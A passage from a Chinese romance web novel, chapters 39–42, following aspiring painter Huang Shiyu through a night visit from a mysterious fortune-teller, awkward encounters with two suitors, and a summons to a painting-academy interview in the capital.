“只要登高,就能看见更宽更广的美景,而不是眼前的一朵花一根草。好的画师,不止会画眼前的,也能将现在我们目之所及全部复刻纸上,令观者宛如身临其境。”华山长捋着胡须念道,笑看她,“你能吗?” 黄时雨眼瞳轻晃,喃喃道:“我不能,但我会学的。” 只要学就一定能。 她学习能力向来比旁人快些。 观鹤而已,黄时雨却莫名觉得自己领悟了许多道理,前路豁然开朗,比任何时候都明确。 她有千言万语最后尽数化为一躬,对华山长深深地揖礼。 华山长最欣赏勇敢无畏的年轻人,不论男孩还是女孩。 画署已经近十年没收过女画员,女孩子涉及此道总归不如男子方便,既然黄时雨有天赋有胆量,自己不妨祝她一臂之力。 但这一切得建立在她有足够的实力相匹。 第39章 情人 原是不打算多事,但华山长又觉得黄时雨既选择考画署,必然是心志坚定之人,于是斟酌道:“你考画署是为了什么?” 黄时雨不假思索回:“我擅长此道,且真心喜爱,恰好还能赚取二两碎银。” 三者少一样,她都不会如此执着。 华山长又问:“倘若有人许你金银,锦衣玉食,你可愿放弃?” 自然不愿,否则早就是简允璋家的贵妾。 黄时雨音色清柔和缓,“先生,我挚爱画道,赚取钱财,是为了免饥寒走得更长远,但若仅为金银错失画道便是本末倒置。我心之坚,日月可鉴。” “你倒是个小痴儿,所以你是不愿了。” “是的。非至死地怎肯俯就他人。”黄时雨也有自己的小道理。 她想要好日子,但并不追求不劳而获。 华山长笑呵呵的,点了点头,“好,祝你得偿所愿。” 黄时雨莞尔。 皇室宗亲风流多情,不知在民间留有几多露水姻缘,左不过金银打发了事。 观肃王之态,隐隐有此念头,华山长不好明着揭穿,只能探探黄时雨口风。 得到满意的答复,华山长也莞尔一笑。 为金银乞怜献媚,自甘坠入樊笼,永远成不了真正的画师,因为他们丢了画魂,就如国士失去风骨。 这便是画署不收为奴为妾者的缘由。 当然也有不少身不由己之人,并非自甘,但画署不是断案的公堂,也没功夫查证考生是否身不由己,只要沾了“奴”、“妾”字眼便不行。 倘若黄时雨贪权慕势,不论给肃王做外室、侍妾还是一晌露水贪欢,华山长都将对她无比失望。 观鹤半个时辰,黄时雨主动送华山长回舍馆。 秋意微凉,老人家不宜室外久站,又瞧了瞧日影恐有秋雨,这么大年纪的人淋雨受凉可不是小事。 华山长知她一片孝顺之心,遂点头同意,一老一少骑上驴儿原路归返。 他叮嘱黄时雨,下次来此采风之前得去他那里报备,再一个,此地虽少有学子游玩但不代表没有,因而不可独行,必须带着丫鬟。 黄时雨欣然道好,中途还折了根芦苇,轻轻挠着驴儿脑袋。 小女娃正是调皮的年纪,纯真可爱。 华山长和蔼一笑。 仙鹤塘周围分布着几间错落有致的房舍,书院的粗使婆子大多聚集于此,她们平时就在附近打理书院的菜圃。 这些妇人多数孤寡,能得以谋生离不开书院的善举。 黄时雨发现瘦小的华山长身影竟是如此高大,在日影下熠熠生辉,仙风道骨。 达则兼济天下,说的便是华山长这样的文人吧。 这日前脚回到铺子,后脚秋雨哗啦啦紧随而至,黄莺枝穿着蓑衣擎伞相迎,黄时雨将小毛驴交给琥珀,笑嘻嘻拉着姐姐的手,“我常常观察碧空和风向,攒下不少经验,料定今日有雨便提前归家的。” 想必姐姐正打算同琥珀一齐接她。 黄莺枝笑笑,许她一抹赞赏眼神,便将蓑衣油伞递与柳儿,任由妹妹拉手回了屋内。 她亲自打水给妹妹洗手脸。 黄时雨擦洗干净立刻调墨作画,小嘴巴依然说个不停,“姐姐,下回我们一同观鹤吧。在玉山下待了三年我竟不知玉山这么大,风景此般美,不怪华山长说我眼界略窄,待我考进画署,咱们就在京师定居,多长长见识。” 黄莺枝迟疑道:“怎么还想着考画署,我记得你说为奴为妾者无门可入。” 黄时雨道:“这是旧令,如今早就更改,不然我能依简允璋嘛。” 黄莺枝释然,也有道理,以梅娘的痴性,不像是甘愿牺牲画道之人。 简单来说,这也是个犟种。 黄时雨自学成才,学会了说善意的谎言。 晚间用过饭,黄时雨就带着琥珀在灶台忙碌,准备翌日的请安。 暂时摸不准思渊喜好,黄时雨就按照华山长的口味来做,用的材料也跟华山长的一样,绝无偏私。 这回是芝麻糍和红豆酥。 琥珀的巧技全加在了针线上,灶上功夫委实寻常,所以一直都是添柴烧火打下手。 不过她柴火烧得好,极会控制火势,反倒与黄时雨相得益彰。 两人手里不闲着,嘴巴也不闲着,殷殷讨论今年初冬衣裙什么配色好看。 一切准备妥当,琥珀和柳儿才服侍黄时雨梳洗,各自就寝。 黄莺枝躺在被窝一动不动,睡得分外香甜。 黄时雨略略惋惜,还想同姐姐多讲讲话呢。 夜凉如水,她忽觉脊背寒意,回首寝卧的窗子已是大敞,漏了一地白月光。 窗子,方才好像是关着的。 况且琥珀心细如发,断不会忘记。 黄时雨的肌肤起了一层细密的小疙瘩,汗毛直立。 碧纱橱青纱微晃,里面赫然坐着一个熟悉的身影。 丐婆津津有味吃着攒盒里的零嘴,撩起青纱,对她笑了笑。 黄时雨如梦初醒,飞身奔向姐姐,掀开被褥,听一听心跳,还在,又探鼻息,平稳,剧跳的心脏方才没有冲破喉咙。 她又奔进靠外侧的屏风内,柳儿和琥珀睡觉的地方。 她们同姐姐一样,香甜熟睡,无知无觉。 黄时雨竭力镇定下来,“婆婆,你究竟是人是鬼?” 丐婆抚掌,“你真的很不一样欸,便是男子此时也应大喊救命呀。” “姐姐、琥珀、柳儿已变成这样,我喊救命还有什么意义。” 丐婆笑笑,低头兀自吃攒盒里的青梅。 黄时雨攥紧手心,一瞬不瞬盯着她,“你,到底是人还是鬼?” 又问了一遍。 丐婆才从攒盒抬起头,似乎是在认真思考,少顷才道:“我是人。即便活得不人不鬼,但确实是人。” “那我姐姐她们……” “死不了,明儿早上正常醒。” “那我呢,你要对我做什么?” “我来看看你,看看我的六十四卦还准不准。”丐婆吃着松子糖慢慢踱出青纱帐,“小姑娘,我的卦很贵的,他们九步一叩首请我,我都不一定算呢。” 那时的丐婆还是天下第一相士。 她一步步走向黄时雨,“我白白给你算了一场好姻缘,你竟没有珍惜,我真的好失望呀。” 丐婆除了给自己算卦满盘皆输,还从未输过。 黄时雨不按卦象走,真的很让人生气。 丐婆对黄时雨失望极了,在她脚下撒一把奇怪的铜钱,又跪地一枚一枚拾起,口中念念有词。 黄时雨不认为自己可以打赢一个在大狱来去自如的诡异高手,便攥紧了手心,动也不动,任由丐婆打量。 丐婆收好铜钱,又拿走了攒盒里所有吃食,才抹了把嘴,转眸看向黄时雨,“走着瞧。” 丐婆从二楼的窗子一跃而下,轻盈如猫,无声无息。 黄时雨转身跑出门外,用力拍黄晚晴的房门。 丫鬟顶着一头乱发,睡眼惺忪开门问发生了何事。 黄时雨怔了怔,胡诌道:“借根蜡烛。” 丫鬟心道这么晚来借蜡烛,白天做什么去了。 她耐着性儿翻出一根递给黄时雨。 “谢了。”黄时雨接过蜡烛头也不回离开。 丫鬟跺了跺脚,气咻咻关门。 次日破晓,满腹心事的黄时雨试探琥珀,“昨晚……你睡的好吗?” “好呀,连个梦都未做。” “没听见什么动静吗?” “呃,没有,小姐是不是唤我的,我竟睡熟……”琥珀会错了意。 “没有,我只是觉得你今日气色格外好看。” 琥珀摸摸脸颊,不由展颜。 黄时雨至此确定除了自己,无人察觉丐婆的到来。 主仆二人共乘一头小毛驴赶往书院。 她们体型生得纤细苗条,虽是共乘倒也不算为难驴儿。 小毛驴四蹄哒哒哒,比单靠步行快许多倍。 快的越多,她们才能越晚会儿起身。 琥珀轻轻扣门,黄时雨忍不住打了个哈欠,两扇木门应声而开,露出了不知在此间等候了多久的韩意淮。 寒玉似的脸庞微垂,尚带洗漱不久后留下的皂香与不知名花木气息,微微湿润,几欲凝成了冰。 韩意淮撩眼看过来。 黄时雨终于体会到了琥珀所言的“恐怖”,困意登时全无。 韩意淮嘴角漾起一抹笑意,“早啊。” 黄时雨干笑两声,“早……啊。” 他怎么起这么早啊? “怎么,请安不进来?”韩意淮侧过身,做了一个请的手势。 黄时雨支吾道,“不了,我们还得回家喂驴。” “银鹤,好好喂一喂黄姑娘家的驴。” “是,公子。” 银鹤笑吟吟牵走了黄时雨的驴。 “不用这么麻烦哈……”黄时雨还想跑,手腕就被韩意淮攥住了。 他咬牙笑道:“还没用早膳吧,来一起,我这里的翡翠蒸饺和金丝燕窝八宝粥保管比府衙的更好吃。” 她可是吃了整整一盘翡翠蒸饺的人。 黄时雨手足无措看向琥珀,琥珀也有点慌,两人手牵着手,而黄时雨的腕子又在韩意淮手里,二人像一串小蚂蚱,被他拽进了舍馆的东次间。 炕桌上已经摆好了碗碟牙箸,布菜的丫鬟们甫一瞧见肃王,便知可以摆膳了,于是鱼贯而入,眨眼就布置一桌热气腾腾香味浓郁的饭菜点心。 想来是不吃便走不了人。 黄时雨环顾一屋子丫鬟,又瞄一眼身边的琥珀,悬着的心稍稍放宽。 她小心翼翼对桌而坐。 韩意淮垂下眼睫。 黄时雨心事重重,硬着头皮陪思渊吃了一顿早膳,原以为就能脱身,不意又被他拽进了书房,这下她不愿意了,扒着门框说什么也不要进去。 韩意淮见她眼角泛了红,心一慌,霸道的手便也松了。 黄时雨得以脱身。 韩意淮背过身不看她,悻悻走了两步,又顿住回首,“我们不是已经亲过,那就是情人了,你怎么可以当作什么都没发生过?” 天菩萨,她哪里当没发生啊,就是因为时时记得才防着他呢。 黄时雨往后退了两步,“才没有亲过,什么情不情的,你休要胡言乱语败坏女儿家名声。” 咬死不承认,料他也无凭无据。 韩意淮难以置信望着她。 “思渊公子真的很失礼,我想,我们应该换一种相处方式了。”黄时雨给他作个揖,牵着自己丫鬟的手儿离开了书房。 韩意淮乌黑的眸子轻晃,立在原地动也不动。 第40章 甜蜜 这厢琥珀也白了脸,哪见过这阵仗。 于是,两只仓皇失措的小蚂蚱再次手牵手逃也似的离开舍馆。 小毛驴从草料间抬头叫唤两声。 它被遗忘了。 清晨的黄记铺子从容而祥和,黄莺枝坐在窗下做针线,黄晚晴临窗描眉画眼,其余丫鬟仆婢皆各自忙着自己的活计。 黄时雨和琥珀先后跑进院子,花婶恰巧端着面盆走出厨房,两下照面,花婶笑容可掬道:“二小姐,小毛饿着肚子容易闹脾气,可别让它惊了你,下回你再使它提前知会我声吧,我赶早儿把它喂了。” 花婶又勤快又热心,黄时雨才道完谢就僵住,琥珀也僵住。 小毛还在思渊公子的舍馆。 走太急忘了! 一时半会儿也不好去取。 琥珀脑子转得飞快,“方才我们送点心路上恰巧碰上华山长,老人家腿脚不便,二小姐就将小毛借他一用,赶明儿我再去牵回来。” “好嘞。”花婶脆声应道。 主仆二人心有戚戚舒了口气。 回到自己房间,黄时雨才小声嘱咐琥珀:“下回送完点心,你便装作不记事,顺手牵回来便是。” 琥珀点头应是,吞吞吐吐道:“思渊公子似乎对你有其他想法。” 但这并不是什么值得夸耀之事,想必二小姐比她更清楚后果。 黄时雨抿了唇,稍作思索,轻声道:“往后,我便不去请安了,点心你照常送吧。” 琥珀也是这么想的,听见二小姐如此吩咐连忙应是。 黄时雨从头到尾就未因思渊的居心而失望,世情凉薄,亲人都可能无情,外人就更无珍爱她的义务。 但她可以自珍自爱。 自从梅娘病愈,简少爷只在初八探视过一次,匆匆离去至此再也未踏足甜水铺子。就连他身边的人也没来过。黄晚晴后知后觉梅娘和简少爷的感情也不怎么深厚。 她预期的如胶似漆,隔三差五腻歪压根就不存在。 简直要怀疑这二人是不是忘了彼此的关系。 除此之外,还有一项更不妙之处,黄晚晴发现自从大姐姐黄莺枝也来铺子暂居,黄时雨就没有回家的打算,原本的她几乎每月一趟,大多月中。 回家必去探望大姐姐。 而今姐姐就在身边,想来是不思他处了。 贴身丫鬟宝瓶来禀:“三小姐,二小姐找你。” 未料想什么来什么,黄晚晴道:“快快请进。” 姐妹二人就坐在了屏风围成的小厅喝茶说话。 黄时雨递过来书信一封,黄太太托人写的,“你阿娘催你回家。一场秋雨一场寒,你身子骨本就畏冷,这里房间远不如家中安适,她唯恐你受凉犯旧疾。” 说的是“你阿娘”,而不是像从前一样直呼黄太太“娘”。 但黄晚晴的注意力都在“回家”二字,并未觉知黄时雨称呼上的变化。 “二姐姐,那你陪我一道回家吗?”黄晚晴难掩眉间期喜,一把挽住了黄时雨胳膊。 心脏都开始咚咚咚跳个不停。 终于能见到简少爷了。 她好奇那么好看的一个人,离得近了得是什么模样。 黄时雨想拒绝,可黄晚晴神色间莫名其妙的期待又令她改了话头,“好,我送你回去。” 来回也就耽误半天功夫,但把晴娘送走大家都轻省,否则多少还是顾忌,总怕她忽然生病,黄太太发疯大闹铺子。 虽说影响不了黄时雨,但对花家人的伤害还是挺大的。 而花家人有时比黄时雨的亲人还像亲人。 黄时雨不愿他们为难。 黄晚晴喜不自胜,“二姐姐,那我们说好了啊。” “嗯。” “几时出发?” “事情宜早不宜迟,明早卯时,咱俩先乘车回去,让杜叔来接你箱笼。” 黄晚晴略诧异,不过想到简少爷的马车贵重,岂能给她放箱笼,便点点头,听从二姐姐安排。 黄莺枝听闻此事,放下针线,“晴娘来时的三辆骡车只剩下一辆,勉强够你和她各带一名丫鬟乘坐,哪里塞得下她那些箱笼。不若让琥珀找简允璋借辆车。” 姐姐的想法很简单,妹妹已经是简允璋的人,自该由他吩咐下人送姐妹俩回去。 因为从前也是如此。 这次左不过多一个晴娘。 黄时雨肚子饿,咬了口红豆糕,边吃边道:“已经说好了让杜叔来接箱笼,简允璋每天课业安排得满满当当,这种小事何必再去扰他。” 也行,哪能大事小事都去麻烦一个以课业为重的学子。 黄莺枝觉得妹妹的话有道理就听妹妹的。 她从不以自己年长而认为妹妹就该对自己言听计从。 而妹妹最听姐姐的话,但不妨碍也有自己的想法。 次日黄晚晴比平时早起了半个时辰,仔细梳妆,隆重又靓丽,欢快地来到院子,只见到梅娘和琥珀,并没见到其他人。 门口倒是停了一辆骡车,车上坐着黄家的老仆从,也就是先前驾车送黄晚晴箱笼又顺便留下的。 黄晚晴傻了眼,“二姐姐,你要我坐这辆车回去?” 黄时雨不解道:“来的时候坐的便是这一辆,缘何回去就不能了?” 黄晚晴憋得满脸通红,“你,这,怎么可以……” 这是防着她呢? 唯恐姐夫多看小姨子一眼是吧? 黄晚晴冷笑不已,也灰心不已。 好好好,把力气都用来防自家妹妹,端看她将来能在简家后宅混出什么好。黄晚晴白着脸,步伐僵硬地登上马车,阴沉不语。 原本,她尚有几分愧疚,也准备与姐姐互相扶持,拢住简少爷的心,却不想,姐姐的心机如此深。 黄时雨困惑地睃了一眼阴晴不定的晴娘,抚着琥珀也登上车。 而晴娘直到走进家门也未再同她说一句话。 连爹娘也不喊,只含泪直奔后院自己的厢房。 黄太太拧眉瞅瞅自己的闺女,又瞅瞅黄时雨,满心不悦,想说什么,觑了眼黄秀才脸色,便自觉地闭上嘴,愤愤然转头去追自己的亲闺女。 黄时雨给黄秀才行了个万福,淡淡道:“我也不知晴娘怎么了,上车前还是欢声笑语的。” 黄秀才嗯了声,并无心情理会姐妹官司,只提及更重要的事,“如今你在简夫人跟前过了明路,既回到家,也该去给她请安,她是你婆母。” 黄时雨轻然道,“好。” 上门拜见得先送拜帖,相当于跟主人打过招呼,双方都有所准备,避免主家还有其他客人要招待的尴尬。 程氏收到黄时雨的拜帖,对辛夷道:“明早我有空,让她来吧。” “是。” 她现下就在待客,老熟人简欣兰,简珣的表姑母。 简欣兰叹了口气,“国子学名额总共一百五十个,其中还有读了五六年未能结业的,他们占着坑,导致每年也只能招收三五个,我们辞哥儿今年又没考进去,已经耽误了两年,现下也唯有鹿锦书院是条好出路,总强过上四门学。” 言语间全是对国子监四门学的嫌弃。 国子监正统儒家学只分了三所:国子学、太学、四门学。 而三品以上包括三品官员家的嫡子庶子才有资格报名国子学,五品以上则是太学,二学位置紧张且名额有限,唯有剩下的四门学位置多,但四门学充斥大量平民百姓,三品高官怎可能让嫡子进四门学。 权衡一番,宋侍郎决定安排宋辞来鹿锦书院,为此不得不捐了一大笔银钱。 单从表面看,鹿锦书院远远比不上国子监,但其实只是比不过国子监的国子学,比四门学优势还是相当明显。 人少,环境清幽,书院先生卧虎藏龙,最重要的是简允璋也在其中。 近朱者赤,长期接触才学兼备之人,多少也能令宋辞增长些学问吧。 这位叫宋辞的少年郎,家中排行老二,乃宋鸢的亲二哥,可惜他并未继承进士亲爹的读书脑袋,于学问上表现平平,令简欣兰操碎了心。 既是来鹿锦书院念书,少不得要来给表舅母请安,所以宋辞随母亲来拜见程氏。 程氏觉得宋辞的脑瓜可能随了简欣兰才会如此,只笑道:“鹿锦书院清苦,不过既是捐了学银自然能分到独门独院的舍馆,你表弟住东泉门,若有什么缺了短了,只管问他要吧。” 却绝口不提让简珣指点宋辞的学业。 东泉门已经没有多余的舍馆,宋辞只能搬去北泉门。 简欣兰明示暗示数次,建议简珣也搬去北泉门。 程氏置若罔闻。 珣哥儿每天都有自己的事情忙,没空照顾别人家孩子。 简欣兰讪讪然扯了扯嘴角。 宋辞全然不在乎表舅母所言的“清苦”,私心里不知有多欢喜,再苦也好过天天在阿爹眼皮子底下过活。 如今天高皇帝远,可算能喘口气。 在他看来,此行要去的不是鹿锦书院,而是自由的神仙岛屿。 是日天擦黑前就携奴唤婢浩浩荡荡迁往书院,成为书院的第六尊金主。 书院也就三类人能分到独门独院的舍馆:老师,有实力的学子,捐钱多的学子。 宋辞不喜欢念书但拳脚功夫相当不错,因而在少年郎中还挺受欢迎。 简珣面对他的到来并不意外,因为宋辞不可能考得上国子学,即便国子学再放宽十个名额他也进不去。 而宋家又不愿自降身份入四门学,只能选择鹿锦书院。 不过他挺喜欢宋辞这个人。 不是每个人都适合念书,宋辞更适合做武官。 “允璋!”宋辞从马上跳下来。 “逢止。”简珣含笑拱手。 宋辞的眉眼几乎与宋鸢一模一样,任谁都能一眼发现这是兄妹二人,但是二人性格相差巨大,宋辞大大咧咧,全无书香门第的细腻。 两人边叙旧边往简珣舍馆走去。 宋辞发现西泉门的舍馆与北泉门一模一样,若非门前种的花树各不相同,简直要分不清了。 他献宝似的递给简珣一只描金黑漆木匣,“喏,傻丫头给你的。” 他口中的傻丫头是鸢娘。 简珣微怔。 宋辞却帮他打开了匣子,“果然不出我所料,又是邵西的瓷器。” 旁人家郎有情妾有意的,不是送金钗便是送香囊,这俩人,除了瓷器还是瓷器,笑死个人了。 不过笑着笑着宋辞就捂住了嘴。 如今他已经不是简允璋的舅兄。 说起来还蛮伤感的,允璋和鸢娘除了互赠瓷器,送别的也不行啊。 简珣只呆了一瞬很快又恢复平静,“还请逢止代我转达谢意,也帮我告诉鸢娘一声,我已经很久未收集瓷器,以后也没空钻营这些,莫要她再为此白白浪费金钱。” 宋辞叹了口气,“好。” 简珣调开视线,淡淡凝望院中一株还未到花期的黄香梅。 莫名想到了梅娘,而一想到她,鼻腔酸酸涩涩,心也常常会痛,却又奇怪的甜蜜。 甜蜜的心痛。 鸢娘就从不令他痛。 和鸢娘在一起的每时每刻,都那么平静,从容,开心。 开心不好吗?简珣问自己。 宋辞和简珣在一起有很多共同话题,小到民俗大到新令,各抒己见,并没有太多兴趣聊女孩子,所以鸢娘这个话题点到为止,很快就被二人抛开。【你现在阅读的是 】 40-50 第41章 拉钩 夜尽天明,为了请安,黄时雨在家中暂住一宿。 简珣宽宏,答应替她打掩护,自不会向长辈揭露她已恢复自由身,那么在考进画署前,她也得做好分内的事,表现的像一个本分妾室,比如拜见长辈简夫人。 程氏再次见到了简珣自己挑选的美人妾室,生辰月份与他差不太多,都挺大的,翻过年不久也就满十六岁。 十六岁的年纪在泽禾已可以当娘,但在程氏眼里还有点小,至少得十七岁后。 女孩子太小生育极易难产。 所以简珣在成亲前不会碰她的。 黄时雨规规矩矩给程氏行万福,程氏受了礼邀她坐下喝茶,她才款款后退两步坐在官帽椅上。 看上去比上回沉静了一些。 女孩子都这样,得知自己有了归属就会越来越像大人。 而大人往往内敛又沉默。 程氏道:“阿珣怜香惜玉,舍不得拘了你,总想在成亲前许你多些自由。” 她这里说的“成亲”自然是简珣和妻子成亲,而不是与黄时雨,与黄时雨的只能算圆房。 黄时雨温顺附和道,“允璋向来宅心仁厚的。” 程氏满意地笑了笑,“不过我倒很想把你带在身边,跟着我提前适应一下,明年也好有个准备。” 贵妾虽不用出门应酬,却也不能对各家关系一无所知,以免逢大日子见到亲戚闹笑话。 再一个,以阿珣的心性多半是让黄时雨自己抚养孩儿,但她若过于浅薄无知,程氏自然是不愿。 阿珣的骨血岂能被妇人养歪。 所以她想把黄时雨带在身边,一来了解这孩子心性,二来亲自教导,将来对谁都有益。 黄时雨谢过程氏好意,“此事允璋也同我提过,他倾向明年八月份再议,这样更能安心念书,远离诸多杂念。” 也就是简允璋目前心思只放在功课上,乡试前并不想分心,家里的莺莺燕燕越少越好。 程氏沉吟片刻,微微颔首,“那先按他的意思办吧,不过你若改主意大可随时过来,我这里离他的墨斋甚远,也没那么容易分心。” “好。”黄时雨应下,又谢了程氏的好意。 伪婆媳不咸不淡地闲聊片刻。 一个人的言行举止可以伪装,但或多或少暗含了真实心性,多讲话多观察便能发现。 程氏一直在不动声色观察黄时雨。 确实如阿珣所言,是个又机灵又单纯的姑娘家。 黄时雨见时辰差不多方起身请辞。 程氏指派辛夷送她,特特给她包了一份新茶,以洁白绢丝茶囊封存,盛在一只巴掌大的陶瓷茶罂,造型古拙又不失童趣,一看便是送姑娘家的。 小姑娘很喜欢喝邰丰的茉莉新竹茶。 只来过两次,程氏就已发现。 黄时雨抬眸看向程氏,目光清澈,长者赐不敢辞,她又垂下脸应谢。 程氏嘴角微勾,“去吧。” 走出简家的角门,黄时雨抬眸望着天上的流云,慢慢踱回了家。 杜叔正在骡车旁等她。 二小姐赶任务似的请过安便要回甜水铺子。 小时候都是哭着一步三回头,长大了反倒一刻也不愿待在家里。 越长大越奇怪。 黄秀才比杜叔理解的深,在他眼里是女大不中留,梅娘心里有允璋,才会去铺子,不然二人何时才能见上一面。 能不能见到简允璋不打紧,黄时雨只想去一个不那么窒息的地方。 这厢黄莺枝不期然见到了“妹夫”。 简珣因为要事才亲自走了一趟黄记铺子。 原本遣福生来送也不是不可,但梅娘把画署看的比命还重要,他便不想轻率地对待她珍重的事。 却不意扑了个空。 梅娘竟瞒着他于昨日陪三妹回家,今日是否归来待定。 简珣听柳儿回禀的时候就察觉了一道端量的视线。 视线既无恶意也无善意,来自一位年轻的妇人。 柳儿发现了黄莺枝,立刻道:“大小姐,姑爷来找二小姐。” 原来是梅娘的亲姐姐。 简珣微微垂脸拱手见礼道:“大姐姐安。” 少年郎挺拔如松,见礼的姿势十分平稳,肩膀手臂的力道拿捏完美,一看就是出生优渥,受过极好的教养。黄莺枝收回视线,淡淡道:“梅娘不在,你若不方便留话,等她归家再遣人知会你。” “好,多谢大姐姐。”简珣再次拱手告辞。 黄莺枝不冷不热,全然不似对简珣曲意逢迎的黄家人。 简珣直觉黄莺枝并不喜欢自己,却又和所有人一样,接受了梅娘委身他。 他迈出院门,迎面走来一辆骡车,车窗半掀,露出半张小脸,正是娇憨可人的梅娘。 甫一发现他,她顿时眉眼弯弯,宛若此秋枝头含露的芙蓉花儿。 简珣平静无波的神情顷刻如春风化雨,满目宠溺。 “你怎么来了?”黄时雨掀帘下车。 这种日子找她,绝对是极其重要之事。 简珣上前搀扶她,借机小声道:“画署的信,我去天水观鱼池那里等你。” 黄时雨神色一凛,有些紧张,下意识攥紧了他握住自己的那只手,“我已经报完名,好端端的为何突然来信……” 这个问题简珣无法回答,得她亲自启信方能解。 报名画署那日,黄时雨动笔前灵机一动将收信的住址填成了简珣的,因为将来中试,画署必然要以书信通传,不论寄回家还是铺子,都存在隐患,唯有简珣最令她放心, 明年八月份才大考,现在就收到书信,与常理不合,黄时雨难免心神不宁。 简珣道:“你抓人好痛。” 黄时雨回过神,慌忙松开。 简珣手背赫然几道红印。 “啊这,对不住了。”她赧然道。 简珣以袖盖住,催促她,“快去吧,我等你。” 她嗯了一声,一阵风似的卷走。 黄莺枝眼瞅着妹妹洗漱更衣喝了半盏茶就准备外出,显然是为了简珣。 年轻人都这样,沉不住气,一点小情小爱便坐不住。 她始终垂眸绣花,头也未抬,对前来报备的妹妹徐徐道:“早点回来。” 黄时雨乖巧应声,步子却猴急猴急的,匆匆前往天水观。 黄莺枝轻叹。 不过那简允璋当真才貌双绝,初见着实惊艳,正是年轻小姑娘痴迷的类型。 希望梅娘莫要太认真。 简珣一个人站在栏杆前,盯着一池红白相间的鲤鱼,耳尖微动就察觉到熟悉的脚步声,抬眸望去,梅娘冉冉走来。 她有心事,全然不知经过芙蓉花树下的自己有多美。 “你别动,我过去。”简珣腿长,跨过幽石乱径更容易,黄时雨依言停在花树下殷殷望着他。 这封画署的书信果然不是什么好事。 黄时雨一目十行扫完就变了脸色。 简珣办完“差事”并未离开,而是立在原地耐心等黄时雨阅信。 他也想知道信的内容。 虽不能私拆旁人信件,但可以直接问。 “梅娘,信上说了什么。”简珣摘了一朵芙蓉花,梅娘将信递给他,他便将花儿放在她手心。 同样一目十行扫完信,简珣就明白了梅娘的忧愁。 她得进京面试。 画署的面试可不是一时半会儿就能解决的。 首先领号牌,成百上千人浩浩荡荡,如此占用一日,领完号牌方知自己何时何地谒见考官,一旦稍稍往后排代表还得再进京,或者留在京师直到面试结束。 这对梅娘来说相当麻烦。 她在京举目无亲,住宿极其不便,而京师的客栈好一些的她住不起,差的不安全,便是她敢住,简珣也不放心。 面试共分两轮,第一轮俗称“粗面”,旨在筛选身体和神智健全者。 画署,不仅看重个人才情,对外在也有严格要求,这也是成为宫廷储备画师的基本条件。 设想一下,不管哪个贵人,都不希望自己被一个形容猥琐的画师细看描摹吧。 实在有碍观瞻。 第二轮面试则要整整三个月,期间男女分开,但进行的内容一样。 说白了就是给画署做三个月苦工。 所以每年总有几个世家子投机取巧,以图免于面试。 黄时雨心如乱麻,将信件胡乱折叠塞进袖袋。 三个月。 莫说三个月,便是消失三日,铺子和家里都能炸开锅。 毕竟她价值两千两。 实在不行只能向阿爹坦白了。 却不料简珣一把握住了她胳膊,将她捞回眼前。 梅娘真娇小。 两手握住她胳膊竟不敢用气力,唯恐伤了她,可不用力又仿佛捧着绵绵的云,摇摇欲坠。 简珣望着黄时雨讶异的眉眼,“梅娘,你是要回家坦白吗?” 黄时雨面色肉眼可见的灰败,忧伤道:“也只能死马当活马医了。” “没用,毫无胜算。” 黄时雨“哇”的一声哭了。 原本她并未抱多大指望,那么也就不放在心上,纵然失败应也不会多难过。 可陆宴的名帖缔造了无限可能,令她萌生痴心妄想,如今一齐破灭,杀伤力不可谓不大。 待她发泄完,简珣才低声问:“好了没,再哭下去可就招人来看笑话了。” 黄时雨抽泣两声,发现自己把简珣的衣襟都哭湿了。 她也忘记是简珣先抱着她,还是她先趴在他胸口,总之她把所有的委屈和眼泪都宣泄在他身上。 让一个无辜的人,承受了她糟乱的情绪。 简珣任由她离开自己。 黄时雨揉了揉眼睛,“是我失礼了,衣服,我帮你洗。” 简珣两只耳朵薄红一片,面无表情道:“无所谓,只要你别利用完,再反过来骂我轻薄你便好。” 他这是在阴阳怪气她。黄时雨背过身,攥着手心,紧紧盯着地面。 简珣急忙转到她面前,一面温柔擦拭她香腮遗留的泪痕,一面道:“是我不好,不该挑这种时候挤兑你。” “你挤兑吧,反正我没法考画署,以后就是你的妾,你不仅可以挤兑我还可以打我骂我,甚至把我送人,卖了。”黄时雨越说越伤心,负面情绪不断地扩大和联想,看什么都不顺眼。 简珣受她奚落堵噎,又开始心痛,酸涩而无力,但这样脆弱的梅娘有些懵圈,任由他安抚拥抱也忘了挣扎,他又是如此甜蜜。 怎么会有人沉沦痛苦呢,就因为它是甜的? 他轻轻拍着她后背,“我怎么舍得伤害梅娘,我们不是击拳盟约苟富贵勿相忘的么,把你卖了,日后你发达起来我找谁领好处。” “发达不起来了,我进不了画署。”她的眼泪就像江河决堤,简珣便不擦了,任由她蹭在他衣襟。 “其实,我有一个法子。”他平静道。 黄时雨瞬间冷静,仰脸一瞬不瞬望着他,“什么法子?” “就是……可能要牺牲我的清誉,又得让你占便宜了。” “先说说看,牺牲太多的话……凡事好商量的。” 简珣狡猾得很,故意卖关子,“牺牲相当大,越想越亏,除非你也答应我件事才行。” 黄时雨急了,“我答应,你快说呀。” 情急之下嘴巴又比脑子快,可她惯会抵赖,立刻找补道:“答应归答应,但太过分的我不应。” 简珣早就知晓她的为人,鄙夷道:“放心吧,既合乎律法也不违背道德,可于你来说或许不太情愿。不过若是轻轻松松的美事,那我又何必求你来办,难度略大,本就理所当然。” 确实在理。 黄时雨心服口服。 “行,都听你的,我答应你的条件。你快告诉我如何应付面试。” 可他精明得很,轻易不满足了她,“拉钩。” 她连忙与他拉钩,还盖了戳,问他条件是什么,他却不说。 “现在还不是时候,将来再告诉你。”简珣深深凝注她清澈眼眸。 “那你先帮我。” “嗯。” 他噙笑俯身在她耳边道出了唯一的法子。 气息温热,烫了她的小耳朵,黄时雨越听眼睛睁得越圆。 第42章 骄傲 黄时雨后退半步,“不行,我们这样,以后还有谁信咱俩是清白的。” 简珣心道是个人都知他早已不清白。 他上前一步,目光与她脉脉相抵,“自从答应你隐瞒两家长辈,咱俩还有什么清白可言,你家下人都叫我姑爷了。” 黄时雨愧疚道:“委屈你了,将来……算了,下辈子再补偿你吧。” 简珣的法子便是随他回京。 黄秀才不会答应黄时雨独自进京,但随同简珣的话,莫说进京,便是上天黄秀才和黄太太都不会管。 正常情况下,简珣腊月才回京,年后再回泽禾,但为了她,他可以提前两个月,也就是这个月底动身。 黄时雨仍旧不安,“可今早我给夫人请安,我不想去你家便推说你心里只有学业,不想瞧见闲杂人等,如今你改口提前把我带在身边,夫人定会以为你不想好好念书了。” “我自有法子求得阿娘同意,只要我保证不让你……”他面色顿时绯红如血,生生刹住了话头。 “不让我什么?”黄时雨盈盈望着他。 简珣面无表情道:“你别管,先说正事。” 